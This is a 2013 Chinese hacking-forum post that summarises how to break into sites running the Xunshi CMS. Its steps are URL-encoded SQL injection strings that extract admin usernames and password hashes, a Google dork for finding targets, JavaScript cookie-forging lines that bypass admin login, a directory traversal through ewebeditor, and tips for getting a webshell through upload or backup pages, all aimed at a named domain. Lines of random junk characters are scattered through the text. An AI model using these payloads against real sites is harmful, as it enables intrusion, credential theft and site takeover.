中国网络渗透测试联盟
标题:
讯时漏洞总结
[打印本页]
作者:
admin
时间:
2013-1-16 21:25
标题:
讯时漏洞总结
by:血封忆尘
) O" C: I/ D7 C; }! S6 u0 Q/ V, J
! s K. W: ?0 Z. \/ G
在网上也有什么讯时三板斧的文章..但我个人觉得有时候靠那三种还是入侵不了（随着版本的更新）
# w, V% ~; L- D
& `1 e$ W8 b# i. p5 G2 _9 ~
以下本文总结来自黑防去年第9期杂志上的内容...
7 s! ~( Y8 ~' D" ?
- p/ i" n7 l6 S4 a( L( _5 |
先说一个注入吧:
http://www.political-security.com/news_more.asp?lm=2
%41nd 1=2 union %53elect 1,2,3,0x3b%
. T+ \0 k: Z. {$ X: r+ B8 {: `
9 Z) R+ |) L, J: V% h) E3 a
26user,0x3b%26pass,6,7,8 %46rom %41dmin union %53elect * %46rom lm where 1=2
+ L0 A" g6 A- `
+ T! i; c8 E* x6 N7 ~- B
记得千万别多了空格，我测试站的时候就发现多了空格注入不出结果的情况
* W( f# ]9 L! F% |, s. y- g' c9 N
这里一个注入
% O! p' D7 H# q" p
" y3 Y& F* z8 b9 q5 N ]9 _
效果如图:
, s" j: X! g$ ~# N8 Q; U, d- E
) x4 a4 b# z3 t; s- K
& r2 C+ m X6 Z
5 A2 ^) J0 S8 ~
这样就很轻松可以得到管理用户名与密码..这里md5可以拿去破解.但是现在安全意识的提高.
$ V& a" J- O1 k: m4 u: F
) W0 x" W. b5 i/ M
密码复杂了..很难破出来..那么我们可以通过后来cookies欺骗进去
6 B# F4 V: d2 n5 Q
# `; k2 w, u8 |9 Z" y
javascript:alert(document.cookie="adminuser="+escape("用户名"));javascript:alert(document.cookie="adminpass="+escape("md5值")); javascript:alert(document.cookie="admindj="+escape("1"));
% f9 \5 {+ Y; E* J" s. k! `! O5 B# S8 F; H
' i$ I" ^3 X. T M+ r
那么这里就会出现一种情况了..如果后台找不到咋办呢??请看下一漏洞让你更轻松达到你想要的效果:
- |; F2 A1 ?. K: o
) u5 L, x/ n, B$ s, l2 e9 H0 y
因为讯时结合了ewebeditor程序..而它没有在处理的时候忽视了ewebeditor有个可以列目录的漏洞
4 @1 }9 n4 b* q4 h" H
* P7 f% Y8 e! J0 _
它是做了验证的..但讯时最没做好的地方就是验证..我们可以通过cookies欺骗来绕过验证.从而可以
3 e; z+ W6 f |* s" ^! l. ~) M
/ w& P% h+ D/ r2 j3 K% P
访问这页面来列目录..步骤如下:
" K2 q3 K: Q7 }" X+ q
! r7 P4 P0 s! S# J0 t
javascript:alert(document.cookie="admindj=1")
/ j0 S4 }5 ]8 [! ]
/ d) P. V0 ~; A# l# \- z k7 @
http://www.political-security.co ... asp?id=46&dir=../..
2 d2 b( q* \" S2 [
% _( V/ h$ l) m1 E- X: R
效果如图:
4 `) [: P# _" v; G8 N/ N: l7 ^1 A+ @# S
1 q$ @0 z' h9 k* l) ?, t4 t
* ~& o2 I1 r% [* K
8 t$ S2 z4 f2 Q" H
这样全站目录都能瞧了..找到后台目录..进去..
/ ?% X a( R! q" W$ l, a
$ f: u! |, Y# c2 Z
那么进了后台怎么拿shell？？上传--备份就ok了..
" q$ j; B5 U9 |' v* J
* G# f ~3 F9 E% G/ k. I/ @- k8 I( h
那么有时候有些管理在做后台功能的时候把备份页面去掉了...而他本机里备份页面还是存在的..
0 D6 a% o4 o2 n0 I- S+ i8 x7 D5 A
- I2 y1 {4 D% p& V6 F1 L+ K
这个我也碰到过一次..你都可以通过列目录来实现..
3 y0 s ~$ M' \( I& t- ~7 n
5 g7 o/ J8 b6 ?6 U/ p
javascript:alert(document.cookie="admindj=1")
9 E c& P, [+ j6 H
0 Z3 I$ D o; [& n9 z
http://www.political-security.co ... p?action=BackupData
! z& `. b+ A3 J X3 X% _
' F; S' G5 }' A' R
备份ok..
# \. d- e6 L" {0 U
+ P I: o) l% c# ^
那么以上两个漏洞都被管理封住了...咋办??上面两个是比较常见的..那么下面一个注入漏洞呢?
3 y7 `' o3 z% F' `% ^& h
4 D2 t: ], Z4 m
在admin目录下有个admin_lm_edit.asp页面..里面的id没有过滤 那么我们就可以先cookies下
7 S) J2 h2 j, C, o( L7 w" h, ~# k
3 a3 y1 A, O* l# c5 t Q
然后访问此页面进行注入..步骤如下:
; `9 h4 J! R* y- Z6 _$ ~
" L( d' a+ |0 d& U a
javascript:alert(document.cookie="adminuser=admin");alert(document.cookie="admindj=1")
. m9 B3 c3 q$ u
/ F4 G6 |7 O" z( A E) e
然后请求admin/admin_chk.asp页面
' R8 N# ^* J1 l
0 T- e) h2 p6 i, o$ k- j
输入注入语句admin/admin_lm_edit.asp?id=1 %41nd 1=2 union %53elect 1,2,3,4,id%260x3b%
1 o8 u8 F: q6 |( }+ L
- X& T4 d5 J3 O: |4 a! f! B
26user%260x3b%26pass,6,7,8%20%46rom%20%41dmin
* ]) J- R0 P5 j& i" A0 Y
M3 I7 D) E1 B j3 n `
效果如图所示:
' J% J/ [7 g/ I' _0 R8 g) H# g
, d$ j7 }& D, {8 ^% i! h- I; k2 `
$ {8 s" @2 x* }. X7 V4 t/ w/ ~
& A- j; {# D# m5 I$ |0 F
讯时漏洞2
2 W. }. A2 c! r2 x: O' h0 A* m
google关键字：inurl:news_more.asp?lm2= （关键字很多的自己定义吧）
1 B$ E* q+ y3 N. N- ]8 ^6 T
" l0 q6 `0 Q2 n# Z4 c( w( L* A1 [
1、/admin/admin_news_pl_view.asp?id=1
+ B* e7 f: ?( J) Z7 X7 B6 u
//id任意 填入以下语句
" s1 y# y) T; k
; X3 ^" h* c9 H/ D* ~
2、有时1显示错误信息的时候继续往后退2，3，4，我退到11才找到了页面，郁闷！
+ u/ n7 O; B: Y6 y+ Z& a
+ n5 |! ~0 @+ M5 c* B) w7 {
4 H4 b0 i& x% e( R
' L6 H" _4 |# S1 J8 H7 ]
3、|'+dfirst("[user]","[admin]")+chr(124)+dfirst("[pass]","[admin]"),username='
9 M; I3 b: u6 P. W
" g: S8 |' k$ F {( O
4 O/ E* B( U( O# @3 a
W1 S8 d9 r+ @, c$ S. C/ ?$ D, n
爆出管理员帐号和密码了
* r y1 S, J) X# W) `- S/ {
, ^2 f5 u: F5 k( Z5 X+ H8 v0 |- d
6 w2 K2 B- T. D: L
$ w; C+ n8 |' e
4、cookies进后台
: n# @, k4 i7 `0 D' Z: @9 ^
$ a; J1 b1 b0 @7 z
javascript:alert(document.cookie="adminuser=" + escape("admin"));alert(document.cookie="adminpass=" + escape("480d6d6b4d57cc903f3bab877248da40"));
! j- P4 S+ X& F8 `; V( m
/ l, }; g) m9 r" R5 a9 R
: s' i- ~( B" [! K0 e1 R2 j
! G/ d. }1 e1 L7 W# F; O
5、后台用了cookie验证，直接访问
http://www.political-security.com/admin/admin_index.asp
就OK了！
) Q3 e) `( w4 |' L; D0 K
3 N" d# F, c4 j7 O% p
. a; Z5 u* E' C; C6 K5 {
6 _* s4 }) ?8 R/ x( d
6、后台有上传和备份取SHELL不难。
% }! @- i% D5 c5 u1 K `
3 O ~4 |+ d1 C8 F9 v- M8 ?
7、讯时还有个列目录漏洞：
http://www.political-security.co ... asp?id=46&dir=../..
0 L- `( L5 r/ \1 L" b, Y8 |
3 [: F3 X* r3 ~' O6 I. S) |1 T
逍遥复仇：我搞了一个讯时cms4.1版本的没有数据库备份不知道怎么搞SHELL，有的说虽然后台显示但备份页面是存在的，登录后台后访问
http://www.political-security.com
/admin/admin_db_backup.asp?action=BackupData
，我这个没有，郁闷着呢，谁还有其他办法提供一下，谢谢！
" _/ u! I. D2 h7 c+ |+ I( N
! \% F |5 |3 M* E: }% {
) q3 M. q3 i; X: g
0 S& s/ P. t3 C; ], N* D0 Z C
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2